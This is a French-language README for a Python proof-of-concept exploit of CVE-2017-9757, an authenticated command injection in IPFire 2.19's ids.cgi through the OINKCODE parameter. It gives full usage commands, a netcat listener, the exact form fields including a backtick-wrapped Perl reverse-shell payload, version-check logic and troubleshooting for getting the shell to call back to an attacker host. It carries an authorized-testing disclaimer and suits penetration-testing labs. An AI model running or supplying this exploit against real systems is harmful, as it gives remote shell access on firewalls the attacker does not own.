
Cet exploit est basé sur la CVE-2017-9757 et a été construit à partir de l'exploit original de 0x09AL.
Preuve de concept en Python pour la vulnérabilité d'injection de commande authentifiée dans la page ids.cgi d'IPFire 2.19 via le paramètre OINKCODE.
Réservé aux tests de sécurité autorisés et aux laboratoires de formation. N'exécutez ce PoC que contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test. L'auteur n'est pas responsable d'une mauvaise utilisation ou des dommages causés par ce code.
IPFire 2.19 est vulnérable à une injection de commande système dans le paramètre OINKCODE traité par /cgi-bin/ids.cgi. Le paramètre est incorporé dans une commande shell sans neutralisation appropriée, ce qui permet à un utilisateur authentifié d'exécuter des commandes sur l'hôte IPFire.
La vulnérabilité est généralement identifiée comme CVE-2017-9757 et correspond à CWE-78 : neutralisation inappropriée d'éléments spéciaux utilisés dans une commande système (« OS Command Injection »).
Le PoC public d'origine a été testé contre IPFire 2.19 Core Update 110. Le module Metasploit considère que les versions jusqu'à IPFire 2.19 avec Core Update 110 font partie de sa plage de vérification prise en charge.
Le PoC Python d'origine d'Exploit-DB effectue une requête de vérification en utilisant :
OINKCODE = '`id`'
Il déclare ensuite la cible vulnérable uniquement si la réponse HTTP contient :
uid=99(nobody)
Cette validation n'est pas fiable. La commande peut s'exécuter pendant que sa sortie est consommée par la commande shell construite par la CGI au lieu d'être reflétée dans la réponse HTML renvoyée au client. Par conséquent, le serveur peut renvoyer une page HTTP 200 normale sans inclure la sortie de id, ce qui produit un faux négatif.
Cette implémentation suit la logique de validation utilisée par le module Metasploit :
/cgi-bin/pakfire.cgi avec une authentification HTTP Basic.<= 2.19 et Core Update <= 110 comme apparemment vulnérables./cgi-bin/ids.cgi dans le champ OINKCODE.200 comme une requête rejetée ou un problème d'authentification.uid=99(nobody).Le PoC utilise également une charge utile de type shell de commande Perl, correspondant à la famille de charges utiles de commande prise en charge par le module Metasploit. Une réponse HTTP réussie ne prouve pas, à elle seule, que le shell inverse s'est connecté ; le listener et le chemin réseau doivent également être vérifiés.
Le critère de réussite important du module Metasploit est qu'un code de réponse inattendu indique des identifiants invalides ou une requête rejetée. Il ne nécessite pas que le corps de la réponse contienne la sortie de la commande injectée.
requestsperlInstallez la dépendance Python :
python3 -m pip install requests
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--check-only \
--insecure
Le mot de passe est demandé de manière interactive lorsque --password n'est pas fourni. Cette approche est recommandée car placer un mot de passe directement dans une commande peut l'exposer via l'historique du shell ou la liste des processus.
Utilisez un listener sur l'adresse et le port fournis comme --lhost et --lport :
rlwrap nc -lvnp 4444
Si rlwrap n'est pas installé, utilisez :
nc -lvnp 4444
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--insecure
Pour le certificat HTTPS auto-signé habituel d'IPFire, --insecure/-k est requis. Ne l'utilisez que lorsque la vérification du certificat n'est volontairement pas possible dans le laboratoire.
La cible peut également être fournie comme une URL de base complète :
python3 ipfire_oinkcode_rce.py \
--target https://192.0.2.10:444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--insecure
N'utilisez cette option que lorsque la version d'IPFire a déjà été confirmée indépendamment :
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--skip-version-check \
--insecure
Si Perl n'est pas dans le PATH par défaut de la cible, indiquez son chemin absolu :
--perl-path /usr/bin/perl
HTTP 200 depuis ids.cgiCela signifie que la requête HTTP a été acceptée par la CGI selon le même critère pratique que celui utilisé par le module Metasploit. Une réponse HTML normale est attendue et ne prouve pas que la vérification de vulnérabilité a échoué.
Vérifiez le listener pour le shell. Si aucun shell n'arrive, examinez l'adresse de rappel, le routage, les règles de sortie du pare-feu, la disponibilité de Perl et le port sélectionné.
HTTP 401 ou HTTP 403La requête n'a pas été autorisée. Vérifiez le nom d'utilisateur, le mot de passe, l'URL cible, le port et si le compte peut accéder à l'interface web IPFire.
HTTP 404L'URL cible ou le chemin CGI est probablement incorrect, ou le service n'est pas l'interface web IPFire attendue.
Le script n'a pas pu trouver la chaîne de version attendue dans pakfire.cgi. Confirmez la cible manuellement avant d'utiliser --skip-version-check.
La commande injectée peut maintenir la requête CGI ouverte tout en tentant le rappel. Considérez cela comme une invitation à vérifier le listener, et non comme une preuve définitive d'un shell.
Le script utilise l'authentification HTTP Basic et envoie les champs de formulaire suivants à ids.cgi :
ENABLE_SNORT_GREEN=on
ENABLE_SNORT=on
RULES=registered
OINKCODE=`<Perl command payload>`
ACTION=Download new ruleset
ACTION2=snort
La commande est entourée d'apostrophes inversées car l'application vulnérable transmet la valeur OINKCODE dans une commande shell. Le comportement exact de la requête dépend de la version cible et de sa configuration locale.
200 confirme que la requête a été acceptée, pas que le shell inverse a atteint le listener.ipfire_oinkcode_exec.rbCe projet est une implémentation Python à visée éducative basée sur les recherches publiques et la preuve de concept de 0x09AL, ainsi que sur le module Metasploit maintenu par la communauté Metasploit. Il n'est ni affilié à IPFire, Exploit-DB ou Rapid7, ni approuvé par ceux-ci.
| Feature | Exploit-DB 42149 Python PoC | Exploit-DB 42369 / Metasploit | This PoC |
|---|
| Vulnerable endpoint | /cgi-bin/ids.cgi | /cgi-bin/ids.cgi | /cgi-bin/ids.cgi |
| Version check | None | GET /cgi-bin/pakfire.cgi | Same Metasploit-style check |
| Authentication | Basic Auth | Basic Auth header | Basic Auth through requests.Session |
| Initial validation | Executes `id` and searches the response body | Checks the version, then sends the payload | Checks the version and uses the HTTP result code |
| False-negative risk | High: depends on uid=99(nobody) being reflected | Avoids body-content validation | Avoids body-content validation |
| Reverse shell | Bash /dev/tcp | Metasploit Unix command payload | Perl IO::Socket::INET command shell |
| TLS handling | Certificate verification disabled in the PoC | SSL enabled by default | Verification is disabled only with -k/--insecure |
| Configuration | Values are edited in the source | Metasploit options | Command-line arguments |
| Option | Default | Description |
|---|
-t, --target | Required | Target host/IP or complete base URL |
--scheme | https | Scheme used when the target is only a host/IP |
--web-port | 444 | IPFire web interface port |
-u, --username | admin | IPFire username |
-p, --password | Prompt | Password; omit to enter it without echo |
--lhost | Required | Listener address reachable from IPFire |
--lport | 4444 | Listener port |
--perl-path | perl | Perl executable on the target |
--timeout | 10 | HTTP timeout in seconds |
-k, --insecure | Disabled | Disable TLS certificate verification |
--skip-version-check | Disabled | Skip the pakfire.cgi check |
--check-only | Disabled | Perform only the version check |